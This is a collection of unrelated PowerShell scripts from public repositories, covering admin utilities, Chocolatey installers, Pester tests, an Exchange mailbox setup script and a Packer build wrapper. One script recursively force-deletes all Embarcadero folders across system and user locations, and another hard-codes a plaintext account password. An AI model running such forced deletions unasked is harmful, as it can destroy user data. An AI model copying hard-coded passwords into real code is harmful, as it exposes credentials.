# # UploadArtifact.ps1 # # Requirements: https://www.powershellgallery.com/packages/OneDrive/1.0.3 # PowerShell 5.0 or higher # Install-Module -Name OneDrive -Scope CurrentUser # GUI way $authentication = Get-ODAuthentication -ClientID "9b072ee0-d954-4eae-bfe6-d9a7e8472776" $AuthCode = $authentication.access_token Get-ODChildItems -AccessToken $AuthCode -Path "/" ### Sample Code # #[CmdletBinding(DefaultParameterSetName = 'None')] #param( # [string][Parameter(Mandatory=$true)] $variable1, # [string] $variable2 #) # #Write-Host "Starting UploadArtifact" # ##Run Save-Module -Name VstsTaskSdk -Path .\ for get the Powershell VSTS SDK ## see https://github.com/Microsoft/vsts-task-lib/tree/master/powershell/Docs ##Trace-VstsEnteringInvocation $MyInvocation # #try { #Write-Host "variable 1: "$variable1 #Write-Host "variable 2: "$variable2 # # #} catch { # #} finally { # #Trace-VstsLeavingInvocation $MyInvocation #} # #Write-Host "Ending UploadArtifact"
abeckDev/vsts-onedrive-upload
UploadArtifact/UploadArtifact.ps1
PowerShell
mit
965
function Enable-UAC { <# .SYNOPSIS Turns on Windows User Access Control .LINK http://boxstarter.codeplex.com #> Write-Output "Enabling UAC" Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name EnableLUA -Value 1 -Force }#function Enable-UAC
SolidOceanTrust/Public-PowerShell
WinConfig/1.0.6/public/Enable-UAC.ps1
PowerShell
mit
291
<# .SYNOPSIS Compares the Access Control Lists for two directories. .DESCRIPTION Function to comapre two directories' access permissions. .PARAMETER ReferenceDir The reference directory to be compared to. .PARAMETER DifferenceDir The directory to compare to the reference directory. .EXAMPLE Format output as a list (default behavior) PS> .\Compare-DirACL.ps1 -ReferenceDir C:\Temp\DirOne -DifferenceDir C:\Temp\DirTwo .EXAMPLE Format output as a table PS> .\Compare-DirACL.ps1 -ReferenceDir C:\Temp\DirOne -DifferenceDir C:\Temp\DirTwo | ft #> param ( [parameter()][string] $ReferenceDir, [parameter()][string] $DifferenceDir ) $ReferenceACL = get-acl $ReferenceDir $DifferenceACL = get-acl $DifferenceDir $Comparison = Compare-Object -referenceobject $ReferenceACL -differenceobject $DifferenceACL -Property access | select sideindicator -ExpandProperty access return $Comparison
SotoDucani/scripts
Compare-DirACL.ps1
PowerShell
mit
947
Describe 'Function Rank' -Tag Build { Context "Unit Tests" { it "Get-Rank should not throw an error" { {Rank lhs rhs } | Should Not Throw } it "Rank alias should not throw an error" { {Rank lhs rhs} | Should Not Throw } It "Creates a rank grouping" { rank lhs rhs | Should Match '{ rank=same; "lhs"; "rhs"; }' } } Context "Features" { It "Can rank an array of items" { {rank (1..3)} | Should Not Throw $result = rank (1..3) $result | Should Not BeNullOrEmpty $result.count | Should be 1 $result | should match '{ rank=same; "1"; "2"; "3"; }' } It "Can rank a list of items" { {rank one two three} | Should Not Throw $result = rank one two three $result | Should Not BeNullOrEmpty $result.count | Should be 1 $result | should match '{ rank=same; "one"; "two"; "three"; }' } it "Can rank objects with a script block" { $objects = @( @{name = 'one'} @{name = 'two'} @{name = 'three'} ) {rank $objects -NodeScript {$_.name}} | Should Not Throw } } }
KevinMarquette/PSGraph
Tests/Rank.Tests.ps1
PowerShell
mit
1,315
ConvertFrom-StringData @' SiteNotFound = Site: '{0}' not found in SitesIncluded. Current SitesIncluded: '{1}'. (ADRSL0001) SiteFoundInExcluded = Excluded '{0}' site found in SitesIncluded. Current SitesIncluded: '{1}'. (ADRSL0002) PropertyNotInDesiredState = '{0}' is not in desired state Current: '{1}' Desired: '{2}'. (ADRSL0003) SettingProperty = Setting property '{0}' to '{1}' on site link '{2}'. (ADRSL0004) RemovingSites = Removing sites '{0}' from site link '{1}'. (ADRSL0005) AddingSites = Adding sites '{0}' to site link '{1}'. (ADRSL0006) NewSiteLink = Creating AD Site Link '{0}'. (ADRSL0007) RemoveSiteLink = Removing AD Site Link '{0}'. (ADRSL0008) SiteLinkNotFound = Could not find '{0}' site link. (ADRSL0009) GetSiteLinkUnexpectedError = Unexpected error getting site link '{0}'. (ADRSL0010) ADSiteInDesiredState = '{0}' is in the desired state. (ADRSL0011) ADSiteNotInDesiredState = '{0}' is not in the desired state. (ADRSL0012) ADSiteIsPresentButShouldBeAbsent = '{0}' is present but should be absent. (ADRSL0013) ADSiteIsAbsentButShouldBePresent = '{0}' is absent but should be present. (ADRSL0014) '@
PowerShell/xActiveDirectory
source/DSCResources/MSFT_ADReplicationSiteLink/en-US/MSFT_ADReplicationSiteLink.strings.psd1
PowerShell
mit
1,358
function Get-CAMLease { <# .SYNOPSIS Function to retrieve Lease from the Cireson Asset Management .DESCRIPTION Function to retrieve Lease from the Cireson Asset Management .PARAMETER DisplayName Specifies the Displayname .PARAMETER Id Specifies the ID .EXAMPLE Get-CAMLease .EXAMPLE Get-CAMLease -DisplayName "*Pro" .EXAMPLE Get-CAMLease -id '3cbgg558-a09c-b717-2401-05aef430b01f' .NOTES Francois-Xavier Cat www.lazywinadmin.com @Lazywinadm github.com/lazywinadmin #> [CmdletBinding(DefaultParameterSetName = 'DisplayName')] PARAM ( [Parameter(ParameterSetName = 'DisplayName')] [System.String]$DisplayName, [Parameter(ParameterSetName = 'ID')] $Id ) BEGIN { if (-not (Get-Module -Name SMLets)) { Import-Module -Name SMLets -ErrorAction Stop } } PROCESS { TRY { IF ($PSBoundParameters['DisplayName']) { Write-Verbose -Message "[PROCESS] Parameter: DisplayName" get-scsmobject -class (get-scsmclass -name 'Cireson.AssetManagement.Lease') -Filter "DisplayName -like $DisplayName" } ELSEIF ($PSBoundParameters['ID']) { Write-Verbose -Message "[PROCESS] Parameter: ID" get-scsmobject -class (get-scsmclass -name 'Cireson.AssetManagement.Lease') -Filter "Id -eq $ID" } ELSE { Write-Verbose -Message "[PROCESS] No Parameter specified, retrieving all" get-scsmobject -class (get-scsmclass -name 'Cireson.AssetManagement.Lease') } } CATCH { Write-Error -Message "[PROCESS] An Error occured while querying Hardware Assets" $Error[0].Exception.Message } } }
lazywinadmin/CiresonAssetManagementPS
CiresonAssetManagementPS/Public/Get-CAMLease.ps1
PowerShell
mit
1,551
Import-Module -Name ActiveDirectory Add-PSSnapin 'Microsoft.Exchange.Management.PowerShell.SnapIn' $Excel = New-Object -Com Excel.Application $Workbook = $Excel.Workbooks.Open('C:\Users\Barkz\Desktop\Exchange-AD-Example.xlsx') $row = 2 $Worksheet = $Workbook.Worksheets.Item('Test Accounts') $xlCellTypeVisible = 12 $Cells = $Worksheet.UsedRange.Columns.Item(1).SpecialCells($xlCellTypeVisible) | Select-Object -Skip 1 if ($Cells) { foreach ($Cell in $Cells) { $SamAccount = $Cell.Item($row,2).Text $FirstName = $Cell.Item($row,3).Text $LastName = $Cell.Item($row,4).Text $DisplayName = $FirstName + " " + $LastName $EmailAddress = $Cell.Item($row,2).Text+'@'+(Get-ADDomain).DNSRoot $Password = ConvertTo-SecureString -AsPlainText 'SomePassword' -force Move-DatabasePath 'Mailbox Database 1664311763' ` -EdbFilePath 'E:\Mailbox Database 1664311763\Mailbox Database 1664311763.edb' ` -LogFolderPath "E:\Mailbox Database 1664311763" if(!(Get-ADUser -LDAPFilter "(sAMAccountName=$SamAccount)")) { try { New-Mailbox -UserPrincipalName $EmailAddress ` -Alias $SamAccount ` -Database "Mailbox Database 1664311763" ` -Name $DisplayName ` -Password $Password ` -FirstName $FirstName ` -LastName $LastName ` -DisplayName $DisplayName ` -ResetPasswordOnNextLogon $false } catch { Write-Warning 'Problem creating new mailbox.' -ErrorAction Stop } } else { Write-Warning 'Account Exists.' -ErrorAction Stop } } } $Workbook.Close($true) $Excel.Quit() # SIG # Begin signature block # MIITTgYJKoZIhvcNAQcCoIITPzCCEzsCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB # gjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR # AgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUgVAPLGnMC39xn0b88GQVnOdj # YxSggg3qMIIEFDCCAvygAwIBAgILBAAAAAABL07hUtcwDQYJKoZIhvcNAQEFBQAw # VzELMAkGA1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNV # BAsTB1Jvb3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw0xMTA0 # MTMxMDAwMDBaFw0yODAxMjgxMjAwMDBaMFIxCzAJBgNVBAYTAkJFMRkwFwYDVQQK # ExBHbG9iYWxTaWduIG52LXNhMSgwJgYDVQQDEx9HbG9iYWxTaWduIFRpbWVzdGFt # cGluZyBDQSAtIEcyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAlO9l # +LVXn6BT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BpbmcgQ0EgLSBHMgISESEGoIHTP9h65YJMwWtSCU4DMAkGBSsOAwIaBQCg # gf0wGAYJKoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMTYw # NjA3MTk0MDE0WjAjBgkqhkiG9w0BCQQxFgQUGuL0RdgPXIujjY0TB99v6VHa7IIw # gZ0GCyqGSIb3DQEJEAIMMYGNMIGKMIGHMIGEBBSzYwi01M3tT8+9ZrlV+uO/sSwp # 5jBsMFakVDBSMQswCQYDVQQGEwJCRTEZMBcGA1UEChMQR2xvYmFsU2lnbiBudi1z # YTEoMCYGA1UEAxMfR2xvYmFsU2lnbiBUaW1lc3RhbXBpbmcgQ0EgLSBHMgISESEG # oIHTP9h65YJMwWtSCU4DMA0GCSqGSIb3DQEBAQUABIIBABH00zpPcLWQpIskmesK # NtdC+o2UMAzbhOsAHB8FjjyjiXijKOXuReEFxyVxLrR84K9FHnLCwS2F+A8i5Y+D # Muq3efVSwRAqATNOPTTMBwIp6mxuB49sqtLc3OLq1mmhL5dPOyHCfMh57LmqS/YQ # 4j4rHwgPYcXG0WFXEKOCn69B6nnusB4p3rCS+gmyYqAQX2gtKAL2demCllwUoAXt # p2Hk3iG2a+dQsTbj859hW7wmvg1O+xpgig4Puy1R9yTuqYB+49iWUQUUJ0uJ1SpJ # fsCWU6pQs66GrL4T5B2LinLQmEMZtXziBj47yvvcA3w/yOctrafg/00tI6pmkBXs # IWA= # SIG # End signature block
PureStorage-OpenConnect/powershell-scripts
New-TestMailboxSetup.ps1
PowerShell
apache-2.0
8,693
$name = 'HostsMan' $zipName = "$name.zip" $installer = "HostsMan_Setup.exe" $silentArgs = "/VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-" $url = '{{DownloadUrl}}' $pwd = "$(split-path -parent $MyInvocation.MyCommand.Definition)" $tempDir = Join-Path $env:TEMP $name if (![System.IO.Directory]::Exists($tempDir)) {[System.IO.Directory]::CreateDirectory($tempDir)} $filePath = Join-Path $tempDir $zipName # Download zip Get-ChocolateyWebFile "$name" "$filePath" "$url" # Extract zip Get-ChocolateyUnzip "$filePath" "$tempDir" $exeName = Join-Path $tempDir "$installer" # Execute installer Install-ChocolateyPackage "$name" "EXE" "$silentArgs" "$exeName"
ebugusey/chocolatey-coreteampackages
automatic/hostsman/tools/chocolateyInstall.ps1
PowerShell
apache-2.0
664
Remove-Item "${env:ProgramFiles(x86)}\Embarcadero\*" -Verbose -Recurse -Force Remove-Item "$env:ProgramData\Embarcadero\*" -Verbose -Recurse -Force Remove-Item "$env:APPDATA\Embarcadero\*" -Verbose -Recurse -Force Remove-Item "$env:LOCALAPPDATA\Embarcadero\*" -Verbose -Recurse -Force Remove-Item "$env:PUBLIC\Documents\Embarcadero\*" -Verbose -Recurse -Force Remove-Item "$env:USERPROFILE\Documents\Embarcadero\*" -Verbose -Recurse -Force # #. .\Search-Registry.ps1 #Search-Registry -Path hklm:\software -SearchRegex "Embarcadero" | %{Remove-Item "Registry::$($_.Key)" -Verbose} #Search-Registry -Path hkcu:\software -SearchRegex "Embarcadero" | %{Remove-Item "Registry::$($_.Key)" -Verbose} #Search-Registry -Path hklm:\SOFTWARE\Classes\TypeLib -Recurse -ValueDataRegex "Embarcadero" | %{Remove-Item "Registry::$($_.Key -replace '}.*$','}')" -Verbose}
mattia72/powershell
Clean-DelphiAfterUninstall.ps1
PowerShell
apache-2.0
854
$packageName = 'dolphin' $url = 'https://dl.dolphin-emu.org/builds/dolphin-master-5.0-3908-x64.7z' $checksum = '6ddc4916356a87dc425f41761b796faaac0c4d204bd1b635c8027c59435e34b6' $checksumType = 'sha256' $url64 = $url $checksum64 = $checksum $checksumType64 = $checksumType $toolsDir = "$(Split-Path -parent $MyInvocation.MyCommand.Definition)" Install-ChocolateyZipPackage -PackageName "$packageName" ` -Url "$url" ` -UnzipLocation "$toolsDir" ` -Url64bit "$url64" ` -Checksum "$checksum" ` -ChecksumType "$checksumType" ` -Checksum64 "$checksum64" ` -ChecksumType64 "$checksumType64"
dtgm/chocolatey-packages
automatic/_output/dolphin/5.0.3908/tools/chocolateyInstall.ps1
PowerShell
apache-2.0
788
# Localized ArchiveResources.psd1 ConvertFrom-StringData @' ###PSLOC InvalidChecksumArgsMessage=Specifying a Checksum without requesting content validation (the Validate parameter) is not meaningful InvalidDestinationDirectory=The specified destination directory {0} does not exist or is not a directory InvalidSourcePath=The specified source file {0} does not exist or is not a file ErrorOpeningExistingFile=An error occurred while opening the file {0} on disk. Please examine the inner exception for details ErrorOpeningArchiveFile=An error occurred while opening the archive file {0}. Please examine the inner exception for details ItemExistsButIsWrongType=The named item ({0}) exists but is not the expected type, and Force was not specified ItemExistsButIsIncorrect=The destination file {0} has been determined not to match the source, but Force has not been specified. Cannot continue ErrorCopyingToOutstream=An error was encountered while copying the archived file to {0} PackageUninstalled=The archive at {0} was removed from destination {1} PackageInstalled=The archive at {0} was unpacked to destination {1} ConfigurationStarted=The configuration of MSFT_ArchiveResource is starting ConfigurationFinished=The configuration of MSFT_ArchiveResource has completed MakeDirectory=Make directory {0} RemoveFileAndRecreateAsDirectory=Remove existing file {0} and replace it with a directory of the same name RemoveFile=Remove file {0} RemoveDirectory=Remove directory {0} UnzipFile=Unzip archived file to {0} DestMissingOrIncorrectTypeReason=The destination file {0} was missing or was not a file DestHasIncorrectHashvalue=The destination file {0} exists but its checksum did not match the origin file DestShouldNotBeThereReason=The destination file {0} exists but should not PathNotFoundError=The path {0} either does not exist or is not a valid file system path. InvalidZipFileExtensionError={0} is not a supported archive file format. {1} is the only supported archive file format. ZipFileExistError=The archive file {0} already exists. If you want to update the existing archive file, run the same command with -Update switch parameter. InvalidPathForExpandError=The input to Path parameter {0} contains multiple file system paths. When DestinationType is set to Directory, the Path parameter can accept only one path to the archive file which would be expanded to the path specified by Destination parameter. InvalidDirZipFileExtensionError={0} is a directory path. The destination path needs to be a path to an archive file. {1} is the only supported archive file format. DuplicatePathFoundError=The input to {0} parameter contains a duplicate path '{1}'. Provide a unique set of paths as input to {2} parameter. ###PSLOC '@
cyberious/puppetlabs-dsc
lib/puppet_x/dsc_resources/xPSDesiredStateConfiguration/DSCResources/MSFT_xArchive/en-us/ArchiveResources.psd1
PowerShell
apache-2.0
2,771
$ErrorActionPreference = "Stop" $logfile ="$env:TEMP\rjODTInstall$(get-date -f yyyy-MM-dd_HH-MM-ss).log" function Test-IsAdmin { ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") } write-output "You can find the log of this install session at: $logfile" try { start-transcript $logfile write-output "1. check if admin..." if (!(Test-IsAdmin)) { throw "Please run this script with admin priviliges" } write-output "2. Get uninstallString from Registry." #$uninstall = gp HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | ? {$_.DisplayName -eq "Oracle Developer Tools for Visual Studio 2015" -and $_.UninstallString -like "MsiExec*"} #$uninstallString = $uninstall.UninstallString -Replace "msiexec.exe","" -Replace "/I","" -Replace "/X","" $uninstall = gp HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | ? {$_.DisplayName -eq "Oracle Developer Tools for Visual Studio 2015" -and $_.UninstallString -like "*setup*"} $uninstall.UninstallString -match '^(?<prog>"[^"]*")\s{1}(?<args>.*$)' $p = $matches.prog $a = $($matches.args -replace " ", " ") -split " " write-output "3. Run Uninstall..." write-output "p: $p" write-output "a: $a" #$process = start-process -FilePath msiexec.exe -ArgumentList /X, $uninstallString, /quiet -Wait -PassThru $process = start-process -FilePath $p -ArgumentList $a -NoNewWindow -Wait -PassThru write-output "4. Check ExitCode uninstall." if ($process.ExitCode -ne 0) { throw "Uninstall Exit Code: $($process.ExitCode) for $($uninstall.DisplayName)" } write-output @" Successfully Uninstall Software. The uninstall of Oracle Developer Tools was successful. Please check $logfile for more details. "@ } catch { $_ | Out-String write-output @" Failed Uninstall Software. The uninstall of Oracle Developer Tools failed. Please check $logfile for more details. "@ throw } finally { stop-transcript }
sev17/orainstall
ODTforVS2015/uninstall-odt.ps1
PowerShell
apache-2.0
2,106
<# DESCRIPTION: Checks for any mounted CD/DVD or floppy drives. REQUIRED-INPUTS: None DEFAULT-VALUES: None DEFAULT-STATE: Enabled RESULTS: PASS: No CD/ROM or floppy drives are mounted WARNING: FAIL: One or more CD/ROM or floppy drives are mounted MANUAL: NA: Not a virtual machine APPLIES: Virtual Servers REQUIRED-FUNCTIONS: Check-VMware #> Function c-vmw-07-cd-dvd-floppy-mounted { Param ( [string]$serverName, [string]$resultPath ) $serverName = $serverName.Replace('[0]', '') $resultPath = $resultPath.Replace('[0]', '') $result = newResult $result.server = $serverName $result.name = $script:lang['Name'] $result.check = 'c-vmw-07-cd-dvd-floppy-mounted' #... CHECK STARTS HERE ...# If ((Check-VMware $serverName) -eq $true) { Try { [string]$query = "SELECT Name, VolumeName, Size FROM Win32_LogicalDisk WHERE DriveType='2' OR DriveType='5'" # Filter on DriveType=2/5 (Removable and CD/DVD) [array] $check = Get-WmiObject -ComputerName $serverName -Query $query -Namespace ROOT\Cimv2 | Select-Object Name, VolumeName, Size } Catch { $result.result = $script:lang['Error'] $result.message = $script:lang['Script-Error'] $result.data = $_.Exception.Message Return $result } $check | ForEach { If ($_.size -ne $null) { $result.data += '{0} ({1}),#' -f $_.Name, $_.VolumeName } } If ([string]::IsNullOrEmpty($result.data) -eq $false) { $result.result = $script:lang['Fail'] $result.message = 'One or more CD/ROM or floppy drives are mounted' } Else { $result.result = $script:lang['Pass'] $result.message = 'No CD/ROM or floppy drives are mounted' $result.data = '' } } Else { $result.result = $script:lang['Not-Applicable'] $result.message = 'Not a virtual machine' } Return $result }
My-Random-Thoughts/Server-QA-Checks
checks/virtual/c-vmw-07-cd-dvd-floppy-mounted.ps1
PowerShell
apache-2.0
2,196
add-type -AssemblyName microsoft.VisualBasic add-type -AssemblyName System.Windows.Forms Calc start-sleep -Milliseconds 500 [Microsoft.VisualBasic.Interaction]::AppActivate("c:\Windows\SysWOW64\calc.exe") [System.Windows.Forms.SendKeys]::SendWait("31337") #
johnventura/The-Salad-Project
ewok/example.ps1
PowerShell
bsd-3-clause
259
[CmdletBinding()] param() Trace-VstsEnteringInvocation $MyInvocation try { Import-VstsLocStrings "$PSScriptRoot\Task.json" # Get the inputs. [string]$project = Get-VstsInput -Name project -Require [string]$target = Get-VstsInput -Name target [string]$configuration = Get-VstsInput -Name configuration [bool]$createAppPackage = Get-VstsInput -Name createAppPackage -AsBool [bool]$clean = Get-VstsInput -Name clean -AsBool [string]$outputDir = Get-VstsInput -Name outputDir [string]$msbuildLocationMethod = Get-VstsInput -Name msbuildLocationMethod [string]$msbuildLocation = Get-VstsInput -Name msbuildLocation [string]$msbuildVersion = Get-VstsInput -Name msbuildVersion [string]$msbuildArchitecture = Get-VstsInput -Name msbuildArchitecture [string]$msbuildArguments = Get-VstsInput -Name msbuildArguments [string]$jdkVersion = Get-VstsInput -Name jdkVersion [string]$jdkArchitecture = Get-VstsInput -Name jdkArchitecture # Import the helpers. Import-Module -Name $PSScriptRoot\ps_modules\MSBuildHelpers\MSBuildHelpers.psm1 . $PSScriptRoot\Get-JavaDevelopmentKitPath.ps1 # Resolve project patterns. $projectFiles = Get-SolutionFiles -Solution $project # Format the MSBuild args. $msBuildArguments = Format-MSBuildArguments -MSBuildArguments $msbuildArguments -Configuration $configuration if($clean) { $msBuildArguments = "$msBuildArguments /t:clean" } if($target) { $msBuildArguments = "$msBuildArguments /t:$target" } # Build the APK file if createAppPackage is set to true if($createAppPackage) { $msBuildArguments = "$msBuildArguments /t:PackageForAndroid" } if ($outputDir) { $msBuildArguments = "$msBuildArguments /p:OutputPath=""$outputDir""" } if ($jdkVersion -and $jdkVersion -ne "default") { $jdkPath = Get-JavaDevelopmentKitPath -Version $jdkVersion -Arch $jdkArchitecture if (!$jdkPath) { throw "Could not find JDK $jdkVersion $jdkArchitecture, please make sure the selected JDK is installed properly" } Write-Verbose "adding JavaSdkDirectory: $jdkPath" $msBuildArguments = "$msBuildArguments /p:JavaSdkDirectory=`"$jdkPath`"" Write-Verbose "msBuildArguments = $msBuildArguments" } $msbuildLocation = Select-MSBuildPath -Method $msbuildLocationMethod -Location $msbuildLocation -PreferredVersion $msbuildVersion -Architecture $msbuildArchitecture # build each project file Invoke-BuildTools -SolutionFiles $projectFiles -MSBuildLocation $msbuildLocation -MSBuildArguments $msBuildArguments -Clean:$clean } finally { Trace-VstsLeavingInvocation $MyInvocation }
alexmullans/vsts-tasks
Tasks/XamarinAndroid/XamarinAndroid.ps1
PowerShell
mit
2,745
$packageName = 'dar' $toolsDir = "$(Split-Path -parent $MyInvocation.MyCommand.Definition)" $url = 'http://sourceforge.net/projects/dar/files/dar/2.5.1/dar64-2.5.1-i386-windows.zip/download' $checksum = '63e785f39dc33a351adb0608e68e49aa220b80c9' $checksumType = 'sha1' $url64 = "$url" $checksum64 = "$checksum" $checksumType64 = "$checksumType" Install-ChocolateyZipPackage -PackageName "$packageName" ` -Url "$url" ` -UnzipLocation "$toolsDir" ` -Url64bit "$url64" ` -Checksum "$checksum" ` -ChecksumType "$checksumType" ` -Checksum64 "$checksum64" ` -ChecksumType64 "$checksumType64"
dtgm/chocolatey-packages
automatic/_output/dar/2.5.1/tools/chocolateyInstall.ps1
PowerShell
apache-2.0
789
[CmdletBinding(SupportsShouldProcess=$true)] param( [Parameter(Mandatory=$true,ParameterSetName="AWS EC2 AMI")] [Parameter(Mandatory=$true,ParameterSetName="Vagrant Hyper-V")] [string]$ISHVersion, [Parameter(Mandatory=$false,ParameterSetName="AWS EC2 AMI")] [Parameter(Mandatory=$true,ParameterSetName="Vagrant Hyper-V")] [string]$MockConnectionString=$null, [Parameter(Mandatory=$true,ParameterSetName="AWS EC2 AMI")] [string]$IAMInstanceProfile, [Parameter(Mandatory=$true,ParameterSetName="AWS EC2 AMI")] [string]$Region, [Parameter(Mandatory=$false,ParameterSetName="AWS EC2 AMI")] [Parameter(Mandatory=$true,ParameterSetName="Vagrant Hyper-V")] [string]$AccessKey, [Parameter(Mandatory=$false,ParameterSetName="AWS EC2 AMI")] [Parameter(Mandatory=$true,ParameterSetName="Vagrant Hyper-V")] [string]$SecretKey, [Parameter(Mandatory=$true,ParameterSetName="Vagrant Hyper-V")] [string]$ISOUrl, [Parameter(Mandatory=$false,ParameterSetName="Vagrant Hyper-V")] [string]$ISOChecksum=$null, [Parameter(Mandatory=$false,ParameterSetName="Vagrant Hyper-V")] [string]$ISOChecksumType="SHA1", [Parameter(Mandatory=$false,ParameterSetName="Vagrant Hyper-V")] [string]$SwitchName="External Virtual Switch", [Parameter(Mandatory=$false,ParameterSetName="AWS EC2 AMI")] [Parameter(Mandatory=$false,ParameterSetName="Vagrant Hyper-V")] [ValidateSet('2012_R2', '2016', '2019')] [string]$ServerVersion="2016", [Parameter(Mandatory=$false,ParameterSetName="Vagrant Hyper-V")] [string]$OutputPath="$env:TEMP", [Parameter(Mandatory=$false,ParameterSetName="Vagrant Hyper-V")] [switch]$NoWindowsUpdates=$false, [Parameter(Mandatory=$false,ParameterSetName="Vagrant Hyper-V")] [switch]$ServerCore=$false, [Parameter(Mandatory=$false,ParameterSetName="Vagrant Hyper-V")] [switch]$Force=$false ) if ($PSBoundParameters['Debug']) { $DebugPreference = 'Continue' } if($PSCmdlet.ParameterSetName -eq "Vagrant Hyper-V") { & $PSScriptRoot\Server\Helpers\Test-Administrator.ps1 } $cmdletsPaths="$PSScriptRoot\Cmdlets" . "$cmdletsPaths\Helpers\Write-Separator.ps1" . "$cmdletsPaths\Helpers\Format-TidyXml.ps1" Write-Separator -Invocation $MyInvocation -Header $packerArgs=@( "build" ) if ($PSBoundParameters['Debug']) { $packerArgs+="-debug" } $packerArgs+=@( "-var" "ishVersion=$ISHVersion" ) switch ($PSCmdlet.ParameterSetName) { 'AWS EC2 AMI' { if($MockConnectionString) { Write-Host "Using Microsoft Windows Server 2016 Base AMI ImageId for region $Region" $imageName="WINDOWS_2016_BASE" $sourceAMI=(Get-EC2ImageByName -Name $imageName -Region $region).ImageId $packerFileName="ish-amazon-ebs.json" $packerArgs+=@( "-var" "ish_mock_connectionstring=$MockConnectionString" ) } else { if ($ServerVersion -eq "2016") { $imageName="WINDOWS_2016_SQL_SERVER_EXPRESS_2016" Write-Verbose "Using Microsoft Windows Server 2016 with SQL Server Express 2016 AMI ImageId for region $Region" $sourceAMI=(Get-EC2ImageByName -Name $imageName -Region $Region).ImageId $packerFileName="mssql2016-ish-amazon-ebs.json" } elseif ($ServerVersion -eq "2012_R2") { $imageName="WINDOWS_2012R2_SQL_SERVER_EXPRESS_2014" Write-Verbose "Using Microsoft Windows Server 2012 R2 with SQL Server Express 2014 AMI ImageId for region $Region" $sourceAMI=(Get-EC2ImageByName -Name $imageName -Region $Region).ImageId $packerFileName="mssql2014-ish-amazon-ebs.json" } else { Throw "Unsupported ServerVersion '$ServerVersion' for building AWS AMI's without providing a mock connectionstring" } } Write-Host "Building with $SourceAMI image id" $packerArgs+=@( "-var" "source_ami=$sourceAMI" "-var" "iam_instance_profile=$IAMInstanceProfile" "-var" "region=$Region" ) if($AccessKey) { $packerArgs+=@( "-var" "aws_access_key=$AccessKey" ) } if($SecretKey) { $packerArgs+=@( "-var" "aws_secret_key=$SecretKey" ) } $packerFileLocation="AMI\$imageName" $logRegExSource="amazon-ebs" } 'Vagrant Hyper-V' { if(-not $ISOChecksum) { $fcivResult = & $PSScriptRoot\Packer\Vagrant\fciv.exe -sha1 $ISOUrl $ISOChecksum=($fcivResult[3] -split ' ')[0] $ISOChecksumType="SHA1" Write-Host "$ISOChecksumType checksum is $ISOChecksum" } $boxNameSegments=@( "windowsserver" $ServerVersion "ish.$ISHVersion" ) $autounattendFolderSegments=@( $ServerVersion ) if ($ServerCore) { $autounattendFolderSegments+="core" $boxNameSegments+="core" } if ($NoWindowsUpdates) { $autounattendFolderSegments+="no_windows_updates" $boxNameSegments+="no_windows_updates" } $autounattendFolder=$autounattendFolderSegments -join '_' $boxNameSegments+="hyperv" $boxName=$boxNameSegments -join '_' $boxPath=Join-Path $OutputPath "$($boxName).box" if(Test-Path -Path $boxPath) { if($Force) { Write-Warning "Removing $boxPath" } else { Write-Error "Box $boxPath already exists" return 1 } } $packerArgs+=@( "-var" "iso_url=$ISOUrl" "-var" "iso_checksum_type=$ISOChecksumType" "-var" "iso_checksum=$ISOChecksum" "-var" "hyperv_switchname=$SwitchName" "-var" "aws_access_key=$AccessKey" "-var" "aws_secret_key=$SecretKey" "-var" "output_box_path=$boxPath" "-var" "autounattend_folder=$autounattendFolder" ) if($MockConnectionString) { $packerArgs+=@( "-var" "ish_mock_connectionstring=$MockConnectionString" ) } $packerFileLocation="Vagrant\$ServerVersion" $packerFileName="ish-$ServerVersion-vagrant-hyperv-iso.json" $logRegExSource="hyperv-iso" } } Write-Host "Using $packerFileName" $packerArgs+=$packerFileName $pushPath=Join-Path -Path "$PSScriptRoot\Packer" -ChildPath $packerFileLocation Push-Location -Path $pushPath -StackName Packer try { $invokedPacker=$false if ($PSCmdlet.ShouldProcess($packerFileName, "packer build")){ $invokedPacker=$true $env:PACKER_LOG=1 $packerLogPath=Join-Path $env:TEMP "$($packerFileName).$ISHVersion.txt" if(Test-Path -Path $packerLogPath) { Remove-Item -Path $packerLogPath -Force } $env:PACKER_LOG_PATH=$packerLogPath Write-Host "packer $packerArgs" & packer $packerArgs Write-Host "LASTEXITCODE=$LASTEXITCODE" } else { Write-Host "packer $($packerArgs -join ' ')" } } finally { if($invokedPacker) { Write-Warning "Packer log file available in $packerLogPath" Pop-Location -StackName Packer if($LASTEXITCODE -ne 0) { if($logRegExSource) { $packerLogContent=Get-Content -Path $packerLogPath -Raw $regex=".*$($logRegExSource): (?<Objs>\<Objs.*\</Objs\>).*" $matchCollections=[regex]::Matches($packerLogContent,$regex) if($matchCollections.Count -gt 0) { Write-Warning "Packer Objs xml entries available:" for($i=0;$i -lt $matchCollections.Count;$i++) { $objsItemPath=$packerLogPath.Replace(".txt",".$i.xml") $matchCollections[$i].Groups['Objs'].Value | Format-TidyXml | Out-File -FilePath $objsItemPath Write-Warning $objsItemPath } } } } } } Write-Separator -Invocation $MyInvocation -Footer
beutepa/ISHBootstrap
Source/Invoke-PackerBuild.ps1
PowerShell
apache-2.0
8,688
